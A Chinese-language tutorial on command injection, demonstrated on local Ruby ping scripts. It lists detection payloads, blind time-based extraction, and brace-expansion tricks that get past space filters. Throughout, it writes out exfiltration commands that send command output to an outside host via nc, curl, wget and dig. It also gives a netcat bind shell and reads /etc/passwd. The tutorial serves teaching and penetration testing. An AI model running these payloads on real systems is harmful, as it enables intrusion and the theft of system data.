挖洞姿勢:淺析命令注入漏洞
命令注入是一種常見的漏洞形態。一旦存在命令注入漏洞,攻擊者就可以在目標系統執行任意命令。說到這裡,我們不得不提另外一個叫做遠端程式碼執行(RCE)的漏洞。許多人總會把這兩個漏洞混淆,其實它們是有本質的區別的。命令執行只是針對系統命令,而遠端程式碼執行鍼對的是程式設計程式碼,兩者互不能替換。下面讓我來通過例項向大家演示如何挖掘及利用它。
配置
我們首先編寫兩個簡單的用於在本地測試的Ruby指令碼,當前我使用的Ruby版本為2.3.3p222。下面是我的ping.rb 指令碼:
-
puts `ping -c 4 #{ARGV[0]}`
該指令碼將會ping以引數形式傳遞過來的伺服器,並將結果輸出在螢幕上。以下是輸出內容:
$ ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms
可以看到系統執行了ping -c 4 8.8.8.8 這條命令,並在螢幕上顯示輸出。下面是另一個我們在本文中需要使用到的指令碼:server-online.rb 。
-
puts `ping -c 4 #{ARGV[0]}` . include ? ( 'bytes from' ) ? 'yes' : 'no'
該指令碼將根據ICMP響應(ping)來確定伺服器是否處於存活狀態。如果它響應ping請求,螢幕上將顯示yes 。如果沒有,它將顯示no。 命令輸出的詳細資訊將不會顯示給使用者,如下:
$ ruby server-on.rb '8.8.8.8' yes $ ruby server-on.rb '8.8.8.7' no
測試
檢測一階命令注入的最佳方式是嘗試執行一個sleep 命令,並觀察其執行時間是否增加。我們來建立一個基於時間線的ping.rb 指令碼:
$ time ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.09s user 0.04s system 4% cpu 3.176 total
執行指令碼大約需要3秒鐘的時間,我們來看看該指令碼是否存在sleep 命令注入。
$ time ruby ping.rb '8.8.8.8 && sleep 5' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.10s user 0.04s system 1% cpu 8.182 total
現在我們來對比下兩次的執行時間。可以看到時間從?3秒跳到?8秒,剛好增加了5秒。為了排除網際網路延遲的可能,建議大家可以重複測試對比。
我們再來測試下server-online.rb 指令碼是否也存在同樣的問題。
$ time ruby server-online.rb '8.8.8.8' yes 0.10s user 0.04s system 4% cpu 3.174 total $ time ruby server-online.rb '8.8.8.8 && sleep 5' yes 0.10s user 0.04s system 1% cpu 8.203 total
可以看到,相比正常的請求時間同樣增加了5秒鐘。
根據正在執行的命令,我們可以注入不同地注入sleep 命令。以下是一些payloads,你可以在查詢命令注入時進行嘗試:
time ruby ping.rb '8.8.8.8`sleep 5`'
當一個命令被解析時,它首先會執行反引號之間的操作。例如執行echo `ls` 將會首先執行ls 並捕獲其輸出資訊。然後再將它傳遞給echo ,並將ls 的輸出結果列印在螢幕上,這被稱為bash/manual/html_node/Command-Substitution.html" rel="nofollow,noindex" target="_blank">命令替換 。由於反引號之間的命令優先被執行,所以之後的命令即便執行失敗也無關緊要。以下是payload注入及結果的命令表,注入的payload被標記為綠顏色。
命令 |
結果 |
ping -c 4 8.8.8.8`sleep 5` |
sleep命令被執行,命令替換在命令列中。 |
ping -c 4 “8.8.8.8`sleep 5`” |
sleep命令被執行,命令替換在複雜的字串雙引號之間。 |
ping -c 4 $(echo 8.8.8.8`sleep 5`) |
sleep命令被執行,命令替換在使用不同符號時(請參見下面的示例)。 |
ping -c 4 ‘8.8.8.8`sleep 5`’ |
sleep命令不執行,命令替換在簡單字串中不起作用(單引號之間)。 |
ping -c 4 `echo 8.8.8.8`sleep 5“ |
sleep命令不執行,使用相同符號時命令替換不起作用。 |
time ruby ping.rb '8.8.8.8$(sleep 5)'
這是命令替換的不同符號。當反引號被過濾或編碼時,可能會更有效。當使用命令替換來查詢命令注入時,務必確保payload已被替換,避免出現上述表中的最後一種情況。
time ruby ping.rb '8.8.8.8; sleep 5'
命令按照順序(從左到右)被執行,並且可以用分號進行分隔。當有一條命令執行失敗時,不會中斷其它命令的執行。以下是payload注入及結果的命令表,注入的payload被標記為綠顏色。
命令 |
結果 |
ping -c 4 8.8.8.8;sleep 5 |
sleep命令被執行,命令在命令列中順序執行。 |
ping -c 4 “8.8.8.8;sleep 5” |
sleep命令未被執行,附加命令被注入到一個字串中,該字串作為引數傳遞給ping命令。 |
ping -c 4 $(echo 8.8.8.8;sleep 5) |
sleep命令被執行,排序命令在命令替換中起作用。 |
ping -c 4 ‘8.8.8.8;sleep 5’ |
sleep命令未被執行, 附加命令被注入到一個字串中,該字串作為引數傳遞給ping命令。 |
ping -c 4 `echo 8.8.8.8;sleep 5` |
sleep命令被執行,排序命令在命令替換中起作用。 |
time ruby ping.rb '8.8.8.8 | sleep 5'
除此之外我們還可以使用命令管道符,通過管道符可以將一個命令的標準輸出管道為另外一個命令的標準輸入。例如執行cat /etc/passwd | grep root 這條命令時,它將捕獲cat /etc/passwd 的輸出並將其傳遞給grep root ,最終顯示與root 匹配的行。當第一條命令失敗時,它仍然會執行第二條命令。以下是payload注入及結果的命令表,注入的payload被標記為綠顏色。
命令 |
結果 |
ping -c 4 8.8.8.8 | sleep 5 |
sleep命令被執行,管道輸出在命令列正常執行。 |
ping -c 4 “8.8.8.8 | sleep 5” |
sleep命令未被執行,附加命令被注入到一個字串中,該字串作為引數傳遞給ping命令。 |
ping -c 4 $(echo 8.8.8.8 | sleep 5) |
sleep命令被執行,管道輸出在命令替換中起作用。 |
ping -c 4 ‘8.8.8.8 | sleep 5’ |
sleep命令未被執行,附加命令被注入到一個字串中,該字串作為引數傳遞給ping命令。 |
ping -c 4 `echo 8.8.8.8 | sleep 5` |
sleep命令被執行,管道輸出在命令替換中起作用。 |
利用
想要更好地利用這個漏洞,我們需要確定它是一個常規命令注入還是命令盲注。兩者的區別在於,命令盲注不會在響應中返回命令的輸出。通用型的命令注入,將返回響應中執行命令的輸出。通常sleep 命令就可以為我們很好的判斷。當然,除此之外你還可以使用更多的命令來進行驗證,如執行id,hostname 或whoami 。伺服器的主機名可用於確定受影響的伺服器數量。
重要: 沒有企業願意讓你窺探到他們的機密資訊。在實際測試中利用該漏洞時,最好先取得目標企業的授權。如果僅僅是想要證明漏洞的危害,那麼id,hostname 或whoami 這些命令則已經足夠。
常規命令注入利用
常規命令注入的利用非常簡單:任何注入命令的輸出都將返回給使用者:
$ ruby ping.rb '8.8.8.8 && whoami' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms jobert
紅色部分顯示ping 命令的輸出。綠色文字輸出whoami 命令執行結果。
命令盲注利用
命令盲注輸出將不會返回給使用者,所以我們需要通過其它方法來提取輸出。最直接的方法是將輸出offload到你的伺服器。我們只需在伺服器上執行nc -l -n -vv -p 80 -k 這條命令,並配置防火牆允許80埠入站連線。
接下來我們就可以使用nc,curl,wget,telnet 或任何其他將資料傳送工具,將輸出傳送給你的伺服器:
$ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80' yes
此時如果一切正常,我們就可以在我們的伺服器上獲取到hostname 命令的輸出資訊:
$ nc -l -n -vv -p 80 -k Listening on [0.0.0.0] (family 0, port 81) Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225) hacker.local
在上面的示例中,nc用於將命令的輸出傳送到你的伺服器。但是,nc可能會被刪除或無法執行。因此我們可以先通過以下測試命令,來判斷目標伺服器是否存在我們所需的命令工具。如果任何命令的執行時間增加了5秒,那麼就證明該命令存在。
curl -h && sleep 5 wget -h && sleep 5 ssh -V && sleep 5 telnet && sleep 5
你可以使用任意一個命令將輸出傳送到你的伺服器,如下所示:
whoami | curl http://your-server -d @- wget http://your-server/$(whoami) export C=whoami | ssh user@your-server (在你的伺服器上設定使用者帳戶以進行身份驗證無需密碼,並記錄每個正在執行的命令)
即使server-online.rb 指令碼不輸出hostname 命令結果,攻擊者仍然可以獲取輸出資訊。在某些情況下出站TCP和UDP連線會被阻止,但即便如此攻擊者仍有可能成功提取到輸出資訊。
其實我們還可以利用sleep 命令提取輸出。這裡的技巧是將命令的結果傳遞給sleep 命令。這裡我為大家舉一個例子:sleep $(hostname | cut -c 1 | tr a 5) ,讓我們來簡單分析下。
-
我們執行的命令為hostname。我們假設它返回hacker.local。
-
它需要輸出並將其傳遞給cut -c 1。這將選取hacker.local的第一個字元h。
-
接著通過tr命令將字元a替換為5。
-
然後將tr命令的輸出傳遞給sleep命令,sleep h被執行將會立即出現報錯,這是因為sleep後跟的引數智慧為一個數字。然後,目標使用tr命令迭代字元。執行sleep $(hostname | cut -c 1 | tr h 5)命令,將需要5秒鐘的時間。這樣我們就可以確定第一個字元是一個h。以此類推,我們就能將完整的主機名猜解出來。
以下是我測試時使用的猜解命令及其結果:
命令 |
時間 |
結果 |
ruby server-online.rb ‘8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)’ |
3s |
– |
ruby server-online.rb ‘8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)’ |
8s |
h |
ruby server-online.rb ‘8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)’ |
8s |
a |
ruby server-online.rb ‘8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)’ |
3s |
– |
ruby server-online.rb ‘8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)’ |
8s |
c |
如果想要知道目標主機名的長度,我們可以將主機名的輸出通過管道符傳遞給wc -c 命令。hacker.local為12個字元。hostname命令返回主機名和一個新行,因此wc -c 將顯示13個字元。經過我們測試,指令碼的執行時間最短需要3秒鐘。
$ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)' yes 0.10s user 0.04s system 0% cpu 16.188 total
可以看到以上的payload指令碼共用時16秒才執行完成,這意味著主機名為12個字元:16 – 3 (基線) – 1 (新行) = 12個字元。當在Web伺服器上執行此payload時,輸出結果可能會有所不同:當請求由不同的伺服器處理時,主機名的長度也可能會改變。
上述方法適用於較小的輸出,但讀取檔案就可能需要花費較長的時間。如果出站連線被阻止並且長時間的無法讀取輸出,這裡還有一些其他的技巧(在CTF中非常實用):
在伺服器上執行埠掃描,並且基於暴露的服務確定提取輸出的方式。
在外部可以訪問的埠上生成一個shell(僅適用於自定義netcat構建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。
使用dig或nslookup進行DNS查詢,將輸出傳送到埠53(UDP):dig `hostname` @your-server 或 nslookup `hostname` your-server 。可以使用伺服器上的nc -l -n -vv -p 53 -u -k 捕獲輸出。這可能會有效,因為通常出站DNS流量不會被阻止。具體檢視這個推文 如何使用dig ?offload檔案內容。
在ping伺服器offload資料時,請更改ICMP資料包大小。tcpdump 可用於捕獲資料。詳情請查閱這個推文 。
當然除了以上介紹的這些方法還有許多其他的方法,具體還得取決於伺服器為我們提供了哪些切入口!
繞過限制
如果目標系統的防護措施做得比較到位,那麼上述方法可能就會失效。具我多年的經驗總結髮現,在這些防護措施中使用最多的就是對於payload中空格的限制。那麼對於這類防護有沒有什麼好的繞過辦法呢?有。這裡我們就要用到一種叫做花括號擴充套件 的東西,利用它我們就可以建立沒有空格的有效載荷了。以下是ping-2.rb ,它是ping.rb 的升級版。在將使用者輸入傳遞給命令之前,它會從輸入中刪除空格。
-
puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}`
當我們將8.8.8.8 && sleep 5 作為引數時,它將執行ping -c 4 8.8.8.8 && sleep5 ,這將導致一個錯誤,將會顯示沒有找到命令sleep5。這裡我們就可以使用大括號擴充套件來有效解決:
$ time ruby ping-2.rb '8.8.8.8;{sleep,5}' ... 0.10s user 0.04s system 1% cpu 8.182 total
以下payload會將命令的輸出傳送到外部伺服器,並且沒有使用任何空格:
$ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}' PING 8.8.8.8 (8.8.8.8): 56 data bytes ...
我們還可以讀取/etc/passwd 下的內容:
$ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. ...
作為程式開發人員,應當清楚的瞭解和掌握命令注入漏洞的利用及防護手段。只有這樣才能避免此類問題的產生,維護企業和使用者的利益。